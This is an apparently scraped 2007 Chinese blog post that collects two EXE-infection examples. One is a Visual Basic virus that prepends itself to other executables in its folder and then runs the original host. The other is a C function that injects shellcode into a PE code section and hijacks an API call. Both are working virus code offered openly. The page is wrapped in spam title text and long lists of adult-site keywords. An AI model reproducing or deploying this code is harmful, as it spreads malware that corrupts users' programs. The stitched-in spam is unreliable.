青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

感染EXE

收集兩篇感染exe的文章,有時(shí)間了把它寫出來

VB:

Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代碼
Private hArray() As Byte '要感染的文件的代碼
Private lenght As Long
Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出錯(cuò)處理

'原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'這是在讀自己的代碼


Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個(gè)文件(目前只是在病毒所在的目錄下隨機(jī)選一個(gè),將來你可以修改,讓它不斷的循環(huán)搜索計(jì)算機(jī)上的所有文件。)
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'讀出病毒自身的代碼


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保證被感染的不是空文件(不是圈套)
End If
End If
'讀出準(zhǔn)備被感染的文件的代碼

Victim = Dir() 'Next

Wend

'下面的工作是為了保證病毒不會(huì)重復(fù)感染一個(gè)文件,也不會(huì)自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出錯(cuò)處理,空著就可以了

End Sub



VC:

/**************************************************************
* 函數(shù):InjectCode
* 參數(shù):char szHostFile[]--待感染的exe文件路徑

* 功能:感染一個(gè)exe程序,運(yùn)行顯示“金豬拜年”的MessageBox
* 從代碼節(jié)開始搜索,替換第一個(gè)發(fā)現(xiàn)的call api的指令
* 把目標(biāo)代碼插入代碼節(jié)的尾部
* 代碼僅供演示之用,沒有做過多的錯(cuò)誤處理
* 感染當(dāng)前hello.exe,插入一段彈出對(duì)話框代碼(當(dāng)然你可以修改成啟動(dòng)文件的代碼,嘿嘿)
* coded by robinh00d
* robinh00d_at_163.com
* 編譯:cl epo.c
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
    PIMAGE_DOS_HEADER pImageDosHeader ;
    PIMAGE_NT_HEADERS pImageNtHeaders ;
    PIMAGE_SECTION_HEADER pImageSectionHeader;
    unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                            "\xC4\xEA\x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                       
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

>Misc.VirtualSize ;
           
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
           
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改為當(dāng)前系統(tǒng)的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
           
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
           
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                       
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
           
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

posted on 2007-10-08 14:21 葉子 閱讀(1074) 評(píng)論(0)  編輯 收藏 引用 所屬分類: 技術(shù)研究

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            香蕉乱码成人久久天堂爱免费 | 午夜亚洲伦理| 最新国产成人在线观看| 欧美成人精品在线播放| 9国产精品视频| 亚洲欧美另类在线| 激情久久久久久久久久久久久久久久| 久久资源av| 欧美成在线视频| 国产精品99久久久久久www| 亚洲欧美偷拍卡通变态| 亚洲第一中文字幕| 亚洲理论在线观看| 国产日韩欧美一二三区| 亚洲国产精品传媒在线观看| 欧美午夜电影完整版| 久久国产精彩视频| 欧美成人免费全部观看天天性色| 亚洲小少妇裸体bbw| 久久福利资源站| aa级大片欧美| 久久精品一区二区三区不卡牛牛| 一本色道精品久久一区二区三区| 午夜伦理片一区| 日韩视频在线免费| 久久国产视频网| 亚洲影音一区| 免播放器亚洲一区| 欧美中文字幕视频| 欧美日本韩国一区二区三区| 久久天堂国产精品| 国产精品免费网站| 亚洲精品激情| 亚洲福利电影| 久久国产手机看片| 欧美一区=区| 欧美午夜一区二区| 最近中文字幕日韩精品| 亚洲国产99精品国自产| 久久99伊人| 午夜伦欧美伦电影理论片| 欧美极品在线观看| 欧美成人精品影院| 国产综合久久久久久鬼色| 亚洲伊人第一页| 亚洲一区二区三区高清不卡| 欧美高清在线视频观看不卡| 欧美a级一区| 精品成人久久| 久久精品国产99精品国产亚洲性色| 亚洲欧美日韩精品久久亚洲区 | 亚洲精品专区| 亚洲激情在线观看视频免费| 久久精品国产精品亚洲| 久久福利电影| 国产一级久久| 欧美一区二区三区另类| 欧美在线视频观看免费网站| 国产美女精品| 午夜精品一区二区三区在线| 欧美一区二区三区在线播放| 国产精品久久夜| 亚洲一区亚洲二区| 亚欧成人在线| 国产欧美日韩视频在线观看| 亚洲欧美一区二区原创| 久久成人综合视频| 国产视频欧美视频| 久久九九热re6这里有精品| 久久婷婷亚洲| 亚洲日本欧美在线| 欧美日韩午夜| 亚洲欧美精品一区| 久久综合给合| 亚洲精品国产精品国产自| 欧美黄色日本| 亚洲最新色图| 久久国产综合精品| …久久精品99久久香蕉国产| 欧美插天视频在线播放| 99国产欧美久久久精品| 欧美伊人影院| 亚洲国产一成人久久精品| 欧美日韩成人综合天天影院| 一区二区三区视频在线播放| 久久精品99国产精品| 亚洲国产精品第一区二区| 欧美剧在线观看| 午夜精彩国产免费不卡不顿大片| 噜噜噜在线观看免费视频日韩| 亚洲免费av网站| 国产视频精品xxxx| 欧美h视频在线| 亚洲午夜久久久| 嫩草国产精品入口| 亚洲欧美国产一区二区三区| 激情一区二区三区| 国产精品99一区| 久久婷婷亚洲| 亚洲一区久久久| 欧美激情视频免费观看| 欧美一级黄色网| 亚洲裸体在线观看| 国内久久婷婷综合| 欧美小视频在线观看| 可以免费看不卡的av网站| 亚洲调教视频在线观看| 亚洲国产小视频| 久久亚洲春色中文字幕| 亚洲综合色网站| 亚洲精品综合久久中文字幕| 国产一区在线播放| 国产精品三区www17con| 欧美精品成人| 久久综合九色99| 欧美一二三视频| 亚洲私人黄色宅男| 亚洲精品影院在线观看| 欧美电影免费观看高清完整版| 亚洲欧美综合v| 亚洲特色特黄| 日韩视频专区| 亚洲人人精品| 欧美裸体一区二区三区| 免费观看日韩| 久久综合国产精品| 欧美永久精品| 欧美一区二区日韩| 亚洲一区在线播放| 一区二区三区视频在线| 亚洲美女视频在线免费观看| 亚洲经典在线| 亚洲国产精品美女| 亚洲国产美女| 亚洲激情在线播放| 亚洲精品日韩一| 日韩一二三区视频| 99re8这里有精品热视频免费 | 午夜在线视频一区二区区别| 一区二区三区久久| 在线视频欧美精品| 亚洲在线免费| 亚洲欧美日本日韩| 欧美一区二区精品在线| 欧美中文字幕| 久久精品国产综合| 毛片基地黄久久久久久天堂| 嫩草影视亚洲| 欧美区日韩区| 国产精品久久国产愉拍| 国产精品久久久久毛片大屁完整版 | 国产午夜精品久久久| 国产在线麻豆精品观看| 伊人久久婷婷色综合98网| 亚洲国产另类久久精品| 亚洲六月丁香色婷婷综合久久| 日韩亚洲欧美一区| 亚洲欧美成人一区二区三区| 欧美影院在线播放| 麻豆精品在线播放| 亚洲欧洲日产国码二区| 日韩视频免费在线观看| 亚洲欧美日韩人成在线播放| 久久国产婷婷国产香蕉| 欧美国产1区2区| 国产精品免费一区二区三区观看| 国产亚洲va综合人人澡精品| 尤物视频一区二区| 夜夜嗨av一区二区三区| 久久爱另类一区二区小说| 欧美国产精品一区| 亚洲小说区图片区| 免费成人黄色| 国产伦精品一区二区三区高清版| 精品成人乱色一区二区| 亚洲一区二区三区精品动漫| 久久夜色精品国产亚洲aⅴ| 亚洲日本久久| 久久成人一区二区| 欧美网站在线观看| 在线高清一区| 欧美一区二区三区婷婷月色 | 欧美一二三区精品| 亚洲国产高清视频| 欧美亚洲一级片| 欧美日韩一区精品| 在线精品在线| 久久精品国产99国产精品澳门| 亚洲国产综合在线看不卡| 午夜在线精品| 国产精品久久久久久亚洲调教 | 国产精品社区| 亚洲免费观看视频| 美女脱光内衣内裤视频久久网站| 一区二区三区四区五区精品| 欧美成人一区二区| 在线看一区二区| 久久久精品五月天| 久久精品国产免费看久久精品| 99re热精品|